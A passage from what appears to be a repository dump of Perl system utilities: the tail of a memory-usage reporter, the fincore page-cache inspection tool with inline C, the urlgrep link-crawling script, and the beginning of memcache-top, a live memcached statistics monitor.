$hightotal-$highfree, $highfree); 245 | } 246 | 247 | if(! $oldfmt) { 248 | printf("%18s %10d %10d\n", "-/+ buffers/cache:", $minus, $plus); 249 | } 250 | 251 | printf("%-6s %11d %10d %10d\n", "Swap:", $swaptotal, $swapused, $swapfree); 252 | 253 | if($total) { 254 | printf("%-6s %11d %10d %10d\n", "Total:", $memtotal + $swaptotal, 255 | $memused+$swapused, $memfree+$swapfree); 256 | } 257 | 258 | if($countflag) { 259 | $count -= 1; 260 | if($count <= 0) { 261 | $sleep = 0; 262 | } 263 | } 264 | 265 | if($sleep) { 266 | select(undef, undef, undef, $sleep); # use "select" for "usleep". 267 | print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n" 268 | } 269 | 270 | } while ($sleep); 271 | 272 | sub usage { 273 | print "$script version $myvesion\n"; 274 | print $usage; 275 | exit; 276 | } 277 | 278 | sub version { 279 | print "$script version $myvesion\n"; 280 | exit; 281 | } 282 | 283 | sub sizeshift { 284 | my ($size, $shift) = @_; 285 | 286 | return (($size << 10) >> $shift); 287 | } 288 | 289 | ### $byteshift 290 | ### $memtotal 291 | ### $memfree 292 | ### $membuf 293 | ### $memcached 294 | -------------------------------------------------------------------------------- /fincore: -------------------------------------------------------------------------------- 1 | #! /usr/bin/perl 2 | 3 | # fincore - File IN CORE: show which blocks of a file are in core 4 | # Copyright (C) 2007 Dave Plonka 5 | # 6 | # This program is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 2 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 19 | 20 | # $Id: fincore,v 1.9 2007/05/23 21:17:52 plonka Exp $ 21 | # Dave Plonka, Apr 5 2007 22 | 23 | use Inline C; 24 | use strict; 25 | use FindBin; 26 | use Getopt::Long; 27 | use Pod::Usage; 28 | use POSIX; # for sysconf 29 | 30 | my %opt; 31 | 32 | # { CONFIGURATION SECTION BEGIN ################################################ 33 | 34 | $opt{s} = 0; 35 | 36 | # } CONFIGURATION SECTION END ################################################## 37 | 38 | GetOptions('help' => \$opt{h}, 39 | 'man' => \$opt{m}, 40 | 'summary!' => \$opt{s}, 41 | 'justsummarize!' => \$opt{S}, 42 | 'stdin' => \$opt{I}) or pod2usage(2); 43 | 44 | pod2usage(0) if ($opt{h}); 45 | pod2usage(-exitstatus => 0, -verbose => 2) if $opt{m}; 46 | 47 | pod2usage(2) if (0 == @ARGV and !$opt{I}); 48 | 49 | if ($opt{S}) { 50 | $opt{s} = 1; 51 | } 52 | 53 | my @files; 54 | if ($opt{I}) { 55 | @files = grep { chomp } ; 56 | } else { 57 | @files = @ARGV; 58 | } 59 | 60 | my $pageSize = POSIX::sysconf(&POSIX::_SC_PAGESIZE); 61 | print "page size: $pageSize bytes\n" if $opt{s}; 62 | 63 | my $filesProcessed = 0; 64 | my $totalPages = 0; 65 | foreach my $file (@files) { 66 | if (!stat($file)) { 67 | warn("$file: $!\n"); 68 | next; 69 | } 70 | my @values = fincore($file); 71 | if (@values) { 72 | $totalPages += @values; 73 | printf("%s: %u incore page%s: @values\n", 74 | $file, scalar(@values), (1 == @values)? "" : "s") unless $opt{S}; 75 | } else { 76 | print "$file: no incore pages.\n" unless $opt{S}; 77 | } 78 | $filesProcessed++; 79 | } 80 | 81 | if ($opt{s}) { 82 | if ($filesProcessed) { 83 | printf("%.0f page%s, %sbytes in core for %u file%s; " . 84 | "%.2f page%s, %sbytes per file.\n", 85 | $totalPages, (1 == $totalPages)? "" : "s", 86 | scale("%.1f", $totalPages*$pageSize), 87 | $filesProcessed, (1 == $filesProcessed)? "" : "s", 88 | $totalPages/$filesProcessed, 89 | (1. == $totalPages/$filesProcessed)? "" : "s", 90 | scale("%.1f", ($totalPages*$pageSize)/$filesProcessed)); 91 | } 92 | } 93 | 94 | exit; 95 | 96 | ################################################################################ 97 | 98 | sub scale($$) { # This is based somewhat on Tobi Oetiker's code in rrd_graph.c: 99 | my $fmt = shift; 100 | my $value = shift; 101 | my @symbols = ("a", # 10e-18 Ato 102 | "f", # 10e-15 Femto 103 | "p", # 10e-12 Pico 104 | "n", # 10e-9 Nano 105 | "u", # 10e-6 Micro 106 | "m", # 10e-3 Milli 107 | " ", # Base 108 | "k", # 10e3 Kilo 109 | "M", # 10e6 Mega 110 | "G", # 10e9 Giga 111 | "T", # 10e12 Terra 112 | "P", # 10e15 Peta 113 | "E");# 10e18 Exa 114 | 115 | my $symbcenter = 6; 116 | my $digits = (0 == $value)? 0 : floor(log($value)/log(1024)); 117 | return sprintf(${fmt} . " %s", $value/pow(1024, $digits), 118 | $symbols[$symbcenter+$digits]) 119 | } 120 | 121 | ################################################################################ 122 | 123 | __END__ 124 | 125 | =head1 NAME 126 | 127 | fincore - File IN CORE: show which blocks of a file are in core 128 | 129 | =head1 SYNOPSIS 130 | 131 | fincore [options] <-stdin | file [...]> 132 | 133 | Options: 134 | -help - brief help message 135 | -man - full documentation 136 | -summary - report summary statistics for the files 137 | -justsummarize - just report summary statistics for the files 138 | -stdin - read file names from standard input 139 | 140 | =head1 OPTIONS 141 | 142 | =over 8 143 | 144 | =item B<-help> 145 | 146 | Shows usage information and exits. 147 | 148 | =item B<-man> 149 | 150 | Shows the manual page and exits. 151 | 152 | =item B<-summary> 153 | 154 | Report summary statistics for the files. 155 | 156 | =item B<-nosummary> 157 | 158 | Don't report summary statistics for the files. 159 | This is the default. 160 | 161 | =item B<-justsummarize> 162 | 163 | Just report summary statistics for the files. 164 | I.e. don't show details for each file. 165 | 166 | =item B<-nojustsummarize> 167 | 168 | Don't just report summary statistics for the files. 169 | This is the default. 170 | 171 | =item B<-stdin> 172 | 173 | Read file names from standard input. 174 | This is to avoid "Arg list too long" with very many files. 175 | 176 | =back 177 | 178 | =head1 DESCRIPTION 179 | 180 | B is a command that shows which pages (blocks) of a file are 181 | in core memory. 182 | 183 | It is particularly useful for determining the contents of the 184 | buffer-cache. The name means "File IN CORE" and I pronounce it 185 | "eff in core". 186 | 187 | =head1 EXAMPLES 188 | 189 | $ fincore foo.rrd 190 | foo.rrd: no incore pages. 191 | 192 | $ cat foo.rrd >/dev/null # read the whole file 193 | $ fincore foo.rrd 194 | foo.rrd: 26 incore pages: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 195 | 196 | $ ls |grep '\.rrd$' |~/perl/fincore --stdin --justsummarize 197 | page size: 4096 bytes 198 | 2214049 pages, 8.4 Gbytes in core for 268994 files; 8.23 pages, 32.9 kbytes per file. 199 | 200 | =head1 BUGS 201 | 202 | In verbose mode, you may get an error from mincore such as "cannot 203 | allocate memory" if the file size is zero. 204 | 205 | Some operating systems have posix_fadvise, but it doesn't work. 206 | For instance under Linux 2.4, you may see this error: 207 | 208 | posix_fadvise: Inappropriate ioctl for device 209 | 210 | =head1 AUTHOR 211 | 212 | Dave Plonka 213 | 214 | Copyright (C) 2007 Dave Plonka. 215 | This program is free software; you can redistribute it and/or modify 216 | it under the terms of the GNU General Public License as published by 217 | the Free Software Foundation; either version 2 of the License, or 218 | (at your option) any later version. 219 | 220 | =head1 VERSION 221 | 222 | This is fincore B<$Revision: 1.9 $>. 223 | 224 | =head1 SEE ALSO 225 | 226 | The B command. 227 | 228 | =cut 229 | 230 | __C__ 231 | #define PERL_INLINE /* undef this to build the C code stand-alone */ 232 | 233 | /* { POSIX stuff */ 234 | #include /* errno */ 235 | #include /* fcntl, open */ 236 | #include /* perror, fprintf, stderr, printf */ 237 | #include /* exit, calloc, free */ 238 | #include /* strerror */ 239 | #include /* stat, fstat */ 240 | #include /* size_t */ 241 | #include /* sysconf, close */ 242 | /* } */ 243 | 244 | #include 245 | #include 246 | #include 247 | #include 248 | #include 249 | 250 | /* fincore - 251 | */ 252 | void 253 | fincore(char *filename) { 254 | int fd; 255 | struct stat st; 256 | void *pa = (char *)0; 257 | char *vec = (char *)0; 258 | register size_t n = 0; 259 | size_t pageSize = getpagesize(); 260 | register size_t pageIndex; 261 | # ifdef PERL_INLINE 262 | INLINE_STACK_VARS; 263 | # endif 264 | 265 | # ifdef PERL_INLINE 266 | INLINE_STACK_RESET; 267 | # endif 268 | 269 | fd = open(filename, 0); 270 | if (0 > fd) { 271 | perror("open"); 272 | # ifdef PERL_INLINE 273 | INLINE_STACK_VOID; 274 | # endif 275 | return; 276 | } 277 | 278 | if (0 != fstat(fd, &st)) { 279 | perror("fstat"); 280 | close(fd); 281 | # ifdef PERL_INLINE 282 | INLINE_STACK_VOID; 283 | # endif 284 | return; 285 | } 286 | 287 | pa = mmap((void *)0, st.st_size, PROT_NONE, MAP_SHARED, fd, 0); 288 | if (MAP_FAILED == pa) { 289 | perror("mmap"); 290 | close(fd); 291 | # ifdef PERL_INLINE 292 | INLINE_STACK_VOID; 293 | # endif 294 | return; 295 | } 296 | 297 | /* vec = calloc(1, 1+st.st_size/pageSize); */ 298 | vec = calloc(1, (st.st_size+pageSize-1)/pageSize); 299 | if ((void *)0 == vec) { 300 | perror("calloc"); 301 | close(fd); 302 | # ifdef PERL_INLINE 303 | INLINE_STACK_VOID; 304 | # endif 305 | return; 306 | } 307 | 308 | if (0 != mincore(pa, st.st_size, vec)) { 309 | /* perror("mincore"); */ 310 | fprintf(stderr, "mincore(%p, %lu, %p): %s\n", 311 | pa, (unsigned long)st.st_size, vec, strerror(errno)); 312 | free(vec); 313 | close(fd); 314 | # ifdef PERL_INLINE 315 | INLINE_STACK_VOID; 316 | # endif 317 | return; 318 | } 319 | 320 | /* handle the results */ 321 | for (pageIndex = 0; pageIndex <= st.st_size/pageSize; pageIndex++) { 322 | if (vec[pageIndex]&1) { 323 | # ifndef PERL_INLINE /* { */ 324 | printf("%lu\n", (unsigned long)pageIndex); 325 | # else /* }{ */ 326 | /* return the results on perl's stack */ 327 | INLINE_STACK_PUSH(sv_2mortal(newSVnv(pageIndex))); 328 | n++; 329 | # endif /* } */ 330 | } 331 | } 332 | 333 | free(vec); 334 | vec = (char *)0; 335 | 336 | munmap(pa, st.st_size); 337 | close(fd); 338 | 339 | # ifdef PERL_INLINE 340 | INLINE_STACK_DONE; 341 | # endif 342 | 343 | # ifdef PERL_INLINE 344 | INLINE_STACK_RETURN(n); 345 | # endif 346 | return; 347 | } 348 | -------------------------------------------------------------------------------- /urlgrep.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ##################################### 3 | # URLgrep v0.5.7 # 4 | # by x0rz # 5 | # # 6 | # http://code.google.com/p/urlgrep/ # 7 | ##################################### 8 | 9 | ########## usage example ########### 10 | # ./urlgrep.pl -u \ 11 | # "http://www.comptechdoc.org/os/linux/howlinuxworks/linux_hlproc.html" \ 12 | # -r "\.html$" -d 1 -o file 13 | ##################################### 14 | 15 | # debug 16 | use strict; 17 | use warnings; 18 | 19 | use LWP::Simple qw($ua get);; 20 | use HTML::LinkExtor; 21 | use HTML::HeadParser; 22 | use Term::ANSIColor; 23 | use Getopt::Long; 24 | use Smart::Comments; 25 | 26 | use threads; 27 | use threads::shared; 28 | 29 | # Globals 30 | our @crawled : shared; # list of crawled urls 31 | our @targets : shared; # list of urls that matches the regexp 32 | our @targets_misc : shared; # list of misc links 33 | our %UGCONF; # URLgrep configuration 34 | 35 | $UGCONF{'VERSION'} = "0.5.7-dev"; 36 | $UGCONF{'TIMEOUT'} = 5; 37 | $UGCONF{'DEPTH'} = 1; 38 | $UGCONF{'MAXTHREADS'} = 4; 39 | $UGCONF{'NOTHREADS'} = 0; 40 | 41 | # Options 42 | our $entry_url = ""; 43 | our $regexp = "^.*\$"; 44 | our $verbose = 0; 45 | our $help = 0; 46 | our $output = ""; 47 | our $casei = 0; 48 | our $invert = 0; 49 | our $all = 0; 50 | our $cookie_file = ""; 51 | 52 | # Catching Ctrl-C 53 | $SIG{INT} = \&tsktsk; 54 | 55 | GetOptions ('v|verbose' => \$verbose, 56 | 'depth=i' => \$UGCONF{'DEPTH'}, 57 | 'url=s' => \$entry_url, 58 | 'regexp=s' => \$regexp, 59 | 'i|ignore-case' => \$casei, 60 | 'm|invert-match' => \$invert, 61 | 'output=s' => \$output, 62 | 'help' => sub { helpmessage() }, 63 | 'version' => sub { helpmessage() }, 64 | 'all' => \$all, 65 | 'timeout=i' => \$UGCONF{'TIMEOUT'}, 66 | 'cookie=s' => \$cookie_file, 67 | 'no-threads' => \$UGCONF{'NOTHREADS'}); 68 | 69 | 70 | ## $entry_url 71 | $ua->env_proxy(); # load env proxy (*_proxy) 72 | $ua->timeout($UGCONF{'TIMEOUT'}); 73 | $ua->agent('Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3'); 74 | 75 | # Load cookie (if asked) 76 | if ($cookie_file ne "") { 77 | $ua->cookie_jar({ file => $cookie_file }); 78 | } 79 | 80 | # Catching Ctrl-C 81 | $SIG{INT} = \&tsktsk; 82 | 83 | # check for mandatory options 84 | if ($entry_url eq "") { 85 | print_comm (&usage()); 86 | exit 1; 87 | } 88 | 89 | # Computing host 90 | my $host = find_hostname($entry_url); 91 | ## $host 92 | print_comm ("Running URLgrep on " . $entry_url ."\n"); 93 | print_comm ("Regexp: ".($invert? "!" : "")."/".$regexp."/".($casei? "i" : "")."\n"); 94 | print_comm ("Started on ".gmtime()." \n"); 95 | 96 | # Call first root URL 97 | parseURL($entry_url, 0); 98 | 99 | if ($verbose == 0) { 100 | print ("\n"); 101 | } 102 | 103 | finishing(); 104 | 105 | # Functions ############################## 106 | 107 | # Ctrl-C catcher 108 | sub tsktsk { 109 | print ("\n"); 110 | print_comm ("Catching Ctrl-C!\n"); 111 | 112 | # terminating threads 113 | if (!$UGCONF{'NOTHREADS'}) { 114 | print_comm ("Killing threads... \n"); 115 | 116 | my @threads = threads->list(); 117 | 118 | foreach my $thr (@threads) { 119 | $thr->detach(); 120 | print "Thread ".$thr->tid()." killed.\n" 121 | } 122 | } 123 | 124 | finishing(); 125 | exit 0; 126 | } 127 | 128 | # show usage 129 | sub usage { 130 | return "usage: ./urlgrep.pl -u URL [-r -i -m -d -a -o -t -c -v -h]\n"; 131 | } 132 | 133 | # show the help 134 | sub helpmessage { 135 | print_comm ("URLgrep v".$UGCONF{'VERSION'}."\n"); 136 | print_comm ("by x0rz \n"); 137 | print_comm ("http://code.google.com/p/urlgrep/\n"); 138 | print_comm ("\n"); 139 | print_comm (&usage()); 140 | print_comm ("-u http_url, --url http_url\n", "bold"); 141 | print_comm (" target webpage's url\n"); 142 | print_comm ("-d n, --depth n\n", "bold"); 143 | print_comm (" set the depth of the crawler (default=1)\n"); 144 | print_comm ("-a, --all\n", "bold"); 145 | print_comm (" will search outside of the specified website\n"); 146 | print_comm ("-r exp, --regexp exp\n", "bold"); 147 | print_comm (" the regular expression you want to apply\n"); 148 | print_comm ("-i, --ignore-case\n", "bold"); 149 | print_comm (" ignore case distinctions\n"); 150 | print_comm ("-m, --invert-match\n", "bold"); 151 | print_comm (" invert the sense of matching\n"); 152 | print_comm ("-o file, --output file\n", "bold"); 153 | print_comm (" specify the output file if you want to log the search\n"); 154 | print_comm ("-t n, --timeout n\n", "bold"); 155 | print_comm (" set the timeout when requesting a page (default=5s)\n"); 156 | print_comm ("-c file, --cookie file\n", "bold"); 157 | print_comm (" specify your cookie file\n"); 158 | print_comm ("-n, --no-threads\n", "bold"); 159 | print_comm (" won't use threads\n"); 160 | print_comm ("-v, --verbose\n", "bold"); 161 | print_comm (" verbose mode\n"); 162 | print_comm ("-h, --help\n", "bold"); 163 | print_comm (" show the help message\n"); 164 | exit 0; 165 | } 166 | 167 | # return domain 168 | sub find_hostname { 169 | my $url = $_[0]; 170 | $url =~ s!^https?://(?:www\.)?!!i; 171 | $url =~ s!/.*!!; 172 | $url =~ s/[\?\#\:].*//; 173 | 174 | return $url; 175 | } 176 | 177 | # return domain and sub-domains 178 | sub find_wwwhost { 179 | return (URI->new($_[0])->host); 180 | } 181 | 182 | # grep the list with the given options and regexp 183 | sub greplist { 184 | my @grep = {}; 185 | 186 | if ($casei) { 187 | if ($invert) { 188 | @grep = grep(!/$regexp/i, @{$_[0]}); 189 | } 190 | else { 191 | @grep = grep(/$regexp/i, @{$_[0]}); 192 | } 193 | } else { 194 | if ($invert) { 195 | @grep = grep(!/$regexp/, @{$_[0]}); 196 | } else { 197 | @grep = grep(/$regexp/, @{$_[0]}); 198 | } 199 | } 200 | 201 | return @grep; 202 | } 203 | 204 | sub remove_duplicates { 205 | my %seen = (); 206 | my @unique; 207 | 208 | foreach my $item (@{$_[0]}) { 209 | push(@unique, $item) unless $seen{$item}++; 210 | } 211 | 212 | return @unique; 213 | } 214 | 215 | sub finishing { 216 | # terminating threads 217 | if (!$UGCONF{'NOTHREADS'}) { 218 | my @threads = threads->list(); 219 | 220 | foreach my $thr (@threads) { 221 | $thr->join(); 222 | print "Thread ".$thr->tid()." terminated.\n" 223 | } 224 | } 225 | 226 | print_comm ("Finished on ".gmtime()." \n"); 227 | 228 | print_ok(); 229 | print "Crawl done [".scalar(@crawled)." URL(s) visited].\n"; 230 | 231 | # removing duplicates 232 | @targets = remove_duplicates(\@targets); 233 | 234 | # searching in misc links 235 | @targets_misc = greplist(\@targets_misc); 236 | 237 | # removing duplicates for misc links 238 | @targets_misc = remove_duplicates(\@targets_misc); 239 | 240 | 241 | if (scalar(@targets) == 0) { 242 | print_ko(); 243 | print color 'red'; 244 | print "No target found.\n"; 245 | print color 'reset'; 246 | } else { 247 | print_ok(); 248 | print color 'red'; 249 | print scalar(@targets)." URL(s) found matching /".$regexp."/".($casei? "i" : "")."\n"; 250 | foreach my $link (@targets) { 251 | print_info(); 252 | print $link."\n"; 253 | } 254 | 255 | if ($output ne "") { 256 | print_comm ("Generating output...\n"); 257 | if (!open FILE, ">", $output) { 258 | print_ko(); 259 | print "Couldn't create file.\n"; 260 | } else { 261 | foreach my $link (@targets) { 262 | print FILE $link."\n"; 263 | } 264 | print_ok(); 265 | print "URLs correctly written in " .$output. "\n"; 266 | } 267 | 268 | } 269 | } 270 | 271 | if (scalar(@targets_misc) != 0) { 272 | print_comm ("Also found ".scalar(@targets_misc)." special link(s) that may interest you:\n"); 273 | } 274 | 275 | foreach my $link (@targets_misc) { 276 | print_info(); 277 | print $link."\n"; 278 | } 279 | } 280 | 281 | sub parseURL { 282 | if ($verbose == 1) { 283 | print_ok(); 284 | print "Trying (d:".$_[1].") " . $_[0] . "\n"; 285 | } else { 286 | print "."; 287 | $|++; 288 | } 289 | 290 | # adding url to crawled list (with mutex) 291 | { 292 | lock(@crawled); 293 | push(@crawled, "$_[0]"); 294 | } 295 | ## @crawled 296 | 297 | # Get the HTML page 298 | my $content = get($_[0]); 299 | ## $content 300 | if (!defined $content) { 301 | if ($verbose) { 302 | print_ko(); 303 | print "Couldn't reach the page.\n"; 304 | } 305 | return; 306 | } 307 | 308 | # Extract header data (for tag essentially) 309 | my $head = HTML::HeadParser->new; 310 | $head->parse($content); 311 | # Setting up the current base (can be null) 312 | my $base = $head->header('Content-Base'); 313 | 314 | # Extract links 315 | my $parser = HTML::LinkExtor->new(); 316 | 317 | $parser->parse($content); 318 | my @parse = $parser->links; 319 | 320 | my @links : shared; 321 | 322 | foreach my $link (@parse) { 323 | push @links, "".constructURL($link->[2], $_[0], $base); 324 | } 325 | 326 | # remving empty links 327 | @links = grep(!/^\ *$/, @links); 328 | 329 | # Adding the grep results to the targets list 330 | my @grep : shared = greplist(\@links); 331 | { 332 | lock (@targets); 333 | @targets = (@targets, @grep); 334 | } 335 | 336 | if ($verbose == 1) { 337 | print_ok(); 338 | print scalar(@links) . " link(s) found.\n"; 339 | if (scalar(@grep) != 0) { 340 | print " > " . scalar(@grep)." matched!\n"; 341 | } 342 | } 343 | 344 | # Testing current depth 345 | if ($_[1] < $UGCONF{'DEPTH'}) { 346 | # Grabbing all urls 347 | foreach my $link (@links) { 348 | my $visited = 0; 349 | 350 | # Checking if already done 351 | # wainting lock... 352 | { 353 | lock (@crawled); 354 | # cond_wait(@crawled); 355 | foreach my $url_done (@crawled) { 356 | if ($link eq $url_done){ 357 | $visited = 1; 358 | } 359 | } 360 | } 361 | 362 | # if not visited yet, parse it 363 | if ($visited == 0) { 364 | # do not browse css/js/images/etc. 365 | if (!($link =~ m/.*\.(gif|jpe?g|png|css|js|ico|swf|axd|jsp|pdf)$/i)) { 366 | crawl_rec($link, $_[1]); 367 | } 368 | } 369 | } 370 | } 371 | } 372 | 373 | 374 | sub crawl_rec { 375 | # if we want to go through all the links (not only local to the website) 376 | if ($all) { 377 | parse_thread($_[0], $_[1]); 378 | } else { 379 | # Calculating host of the link 380 | my $link_host = find_hostname($_[0]); 381 | 382 | if ($link_host eq $host) { 383 | parse_thread($_[0], $_[1]); 384 | } 385 | } 386 | } 387 | 388 | sub parse_thread { 389 | my $thread_count = threads->list(); 390 | 391 | if ($UGCONF{'NOTHREADS'} || $thread_count >= $UGCONF{'MAXTHREADS'}) { 392 | parseURL($_[0], $_[1] + 1); 393 | } else { 394 | threads->create(\&parseURL, $_[0], int($_[1] + 1)); 395 | } 396 | } 397 | 398 | 399 | sub constructURL { 400 | # 0 = link 401 | # 1 = page 402 | # 2 = base (from tag, can be null) 403 | 404 | my $complete_url; 405 | 406 | local $URI::ABS_REMOTE_LEADING_DOTS = 1; 407 | local $URI::ABS_ALLOW_RELATIVE_SCHEME = 1; 408 | 409 | # capture weird links (javascript, anchor, others protocols, etc.) 410 | if (($_[0] =~ m!^(\w+:.+|#).*!) && 411 | !($_[0] =~ m!^(https?://).*!i)) { 412 | # we keep it in our misc list but not anchor links 413 | if (! ($_[0] =~ m!^#.*!)) { 414 | lock (@targets_misc); 415 | push (@targets_misc, $_[0]); 416 | } 417 | 418 | # return "" so it won't be part of the list 419 | return ""; 420 | } 421 | 422 | # building correct link 423 | if (defined $_[2]) { 424 | $complete_url = URI->new($_[0])->abs($_[2]); 425 | } else { 426 | $complete_url = URI->new($_[0])->abs($_[1]); 427 | } 428 | 429 | return $complete_url; 430 | 431 | #print ("0 " . $_[0]."\n"); 432 | #print ("1 " .$_[1]."\n"); 433 | #print("==> " . $newURL."\n"); 434 | } 435 | 436 | # Misc 437 | sub print_ok { 438 | print color 'bold white'; 439 | print "["; 440 | print color 'green'; 441 | print "OK"; 442 | print color 'white'; 443 | print "] "; 444 | print color 'reset'; 445 | } 446 | 447 | sub print_ko { 448 | print color 'bold white'; 449 | print "["; 450 | print color 'red'; 451 | print "KO"; 452 | print color 'white'; 453 | print "] "; 454 | print color 'reset'; 455 | } 456 | 457 | sub print_info { 458 | print color 'bold white'; 459 | print "["; 460 | print color 'blue'; 461 | print ">>"; 462 | print color 'white'; 463 | print "] "; 464 | print color 'reset'; 465 | } 466 | 467 | sub print_comm { 468 | print color 'bold red'; 469 | print "# "; 470 | 471 | if (!((defined $_[1]) && $_[1] eq "bold")) { 472 | print color 'reset'; 473 | } 474 | 475 | print color 'yellow'; 476 | print $_[0]; 477 | print color 'reset'; 478 | } 479 | 480 | -------------------------------------------------------------------------------- /memcache-top.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | ################################################################################ 4 | # memcache-top.pl 5 | # 6 | # "top" for memcache - watch the traffic and other stats in real-time. Yoikes. 7 | # 8 | # NOTES: 9 | # 10 | # If Getopt::Long is installed: 11 | # - Specify instances w/ --instances (multiple times or comma separated) 12 | # - Specify default port w/ --port (defaults to 11211) 13 | # - Specify sleep time w/ --sleep (default 3) 14 | # - Specify color output w/ --color (default) or --nocolor 15 | # - Specify lifetime stats w/ --lifetime or --nolifetime (default) 16 | # NOTE: lifetime stats break thresholds for evictions, bytes. 17 | # - Specify read and write bytes w/ --bytes (default) or --nobytes 18 | # - Specify get and set commands w/ --commands or --nocommands (default) 19 | # - Specify cumulative numbers w/ --cumulative (don't use with lifetime) 20 | # 21 | # If Getopt::Long is not installed: 22 | # - Specify sleep time by typing a number after the command. 23 | # Specify instances in @default_instances. 24 | # Specify thresholds by defining %threshold. 25 | # Written against memcached v 1.2.3, but works fine w/ later versions. 26 | # 27 | # HISTORY: 28 | # 29 | # v0.3 - 2009-04-22 - ntang 30 | # Minor cleanups. First release to google code: 31 | # http://code.google.com/p/memcache-top/ 32 | # v0.4 - 2009-04-23 - ntang 33 | # Added ability to specify color, sleep time, and servers on command line. 34 | # Also added checks for Getopt::Long and Term::ANSIColor. 35 | # Added $default_port = "11211" and padding for short server names. Server 36 | # names over 23 characters inc. port will break the column lineups for now. 37 | # v0.4b - 2009-04-23 - ntang 38 | # Added total capacity, and changed "SERVER" to "INSTANCE" to be more clear. 39 | # Server now is the hostname, instance is hostname + port. It will 40 | # truncate the instance and/or server to fit inside the first column 41 | # correctly. (Yay!) It'll also truncate long reads/ writes (or 42 | # technically any number) to K or M or G if it exceeds certain limits for 43 | # readability. 44 | # v0.5 - 2009-04-24 - ntang 45 | # Cleaned up instances vs. servers so it's internally consistent. 46 | # Redid printing so that now it stores it all and only refreshes/ prints when 47 | # it has the full set of data. Warning: major hackishness. 48 | # Switched to per-second stats by default w/ lifetime stats available. 49 | # v0.6 - 2009-04-28 - ntang 50 | # I lied. One more change... the ability to specify read/write bytes, or 51 | # get/set commands, or both. Bear in mind if you specify both you will 52 | # exceed the width of a standard terminal! You've been warned. :P 53 | # Also, some minor display changes, etc. etc. 54 | # 55 | ################################################################################ 56 | 57 | use strict; 58 | use IO::Socket; 59 | use Time::HiRes 'time'; 60 | 61 | my (@default_instances, @instances, $remote, $sleep, %threshold, %laststats, 62 | $usecolor, @keys, $default_port, $version, @out, $lifetime, $bytes, 63 | $commands, $cumulative); 64 | 65 | $version = "0.6"; 66 | 67 | ################################################################################ 68 | # CONFIGURATION 69 | 70 | # Set $usecolor to 1 to push @out,in, gasp, color. 71 | $usecolor = 1; 72 | 73 | # 'Alert' threshold values at which to color the text red. 74 | %threshold = ( 75 | cache_hit => 60, # Cache hit ratio 76 | usage => 90, # % space used 77 | time => 5, # Number of ms to run the stats query 78 | evictions => 0, # Number of evictions per second 79 | curr_connections => 3500, # Number of current connections 80 | bytes_read => 1000000, # Bytes read, per second 81 | bytes_written => 1000000, # Bytes written, per second 82 | limit_maxbytes => 0, # Total space allocated 83 | bytes => 0, # Total space used 84 | cmd_get => 1000, # Get commands 85 | cmd_set => 1000, # Set commands 86 | ); 87 | 88 | # Display lifetime stats instead of per-second stats 89 | $lifetime = 0; 90 | 91 | # Display read/write bytes 92 | $bytes = 1; 93 | 94 | # Display get/set commands 95 | $commands = 0; 96 | 97 | # Show cumulative stats (since start of run) 98 | $cumulative = 0; 99 | 100 | # Default time to sleep in-between refreshes. 101 | $sleep = 3; 102 | 103 | # List of servers/ ports to query. 104 | @default_instances = ( 105 | '127.0.0.1:11211', 106 | ); 107 | 108 | # Default port to connect to, if not specified 109 | $default_port = "11211"; 110 | 111 | # END CONFIGURATION 112 | ################################################################################ 113 | 114 | @keys = ('usage', 'cache_hit', 'curr_connections', 'time', 'cmd_get', 'cmd_set', 115 | 'bytes_read', 'bytes_written', 'evictions', 'limit_maxbytes', 'bytes'); 116 | 117 | if (@ARGV) { 118 | eval { require Getopt::Long; }; 119 | if ($@) { 120 | if ( $ARGV[0] =~ /^\d+$/ ) { 121 | $sleep = $ARGV[0]; 122 | } 123 | else { 124 | die "USAGE: memcache-top.pl \n"; 125 | } 126 | } 127 | else { 128 | use Getopt::Long; 129 | GetOptions ( 130 | 'instances=s' => \@instances, 131 | 'sleep=i' => \$sleep, 132 | 'port=i' => \$default_port, 133 | 'color!' => \$usecolor, 134 | 'lifetime!' => \$lifetime, 135 | 'bytes!' => \$bytes, 136 | 'commands!' => \$commands, 137 | 'cumulative!' => \$cumulative, 138 | ); 139 | if (@instances) { 140 | @instances = split(/,/,join(',',@instances)); 141 | } else { 142 | @instances = @default_instances; 143 | } 144 | } 145 | } 146 | else { 147 | @instances = @default_instances; 148 | } 149 | 150 | if ( $lifetime && $cumulative ) { 151 | $lifetime = 0; 152 | } 153 | 154 | if ( $usecolor ) { 155 | eval { require Term::ANSIColor; }; 156 | if ($@) { $usecolor = 0; } 157 | else { use Term::ANSIColor; } 158 | } 159 | 160 | my $i = 1; 161 | 162 | my (%original); 163 | 164 | while ($i) { 165 | 166 | @out = (); 167 | 168 | push @out,"\033[2J"; # This clears the screen, yo. 169 | 170 | push @out,color 'bold' if $usecolor; 171 | push @out,"\nmemcache-top v$version\t"; 172 | push @out,color 'reset' if $usecolor; 173 | push @out,"(default port: " . sprintf("%5d",$default_port) . ", color: "; 174 | push @out,"on," if $usecolor; 175 | push @out,"off," unless $usecolor; 176 | push @out," refresh: $sleep seconds)\n\n"; 177 | push @out,color 'bold' if $usecolor; 178 | push @out,"INSTANCE\t\tUSAGE\tHIT %\tCONN\tTIME\t"; 179 | if ( $lifetime || $cumulative ) { 180 | push @out,"EVICT\t"; 181 | push @out,"GETS\tSETS\t" if $commands; 182 | push @out,"READ\tWRITE\t" if $bytes; 183 | push @out,"\n"; 184 | } else { 185 | push @out,"EVICT/s "; 186 | push @out,"GETS/s\tSETS/s\t" if $commands; 187 | push @out,"READ/s\tWRITE/s\t" if $bytes; 188 | push @out,"\n"; 189 | } 190 | push @out,color 'reset' if $usecolor; 191 | 192 | my %tot; 193 | 194 | foreach my $key (@keys) { 195 | $tot{$key} 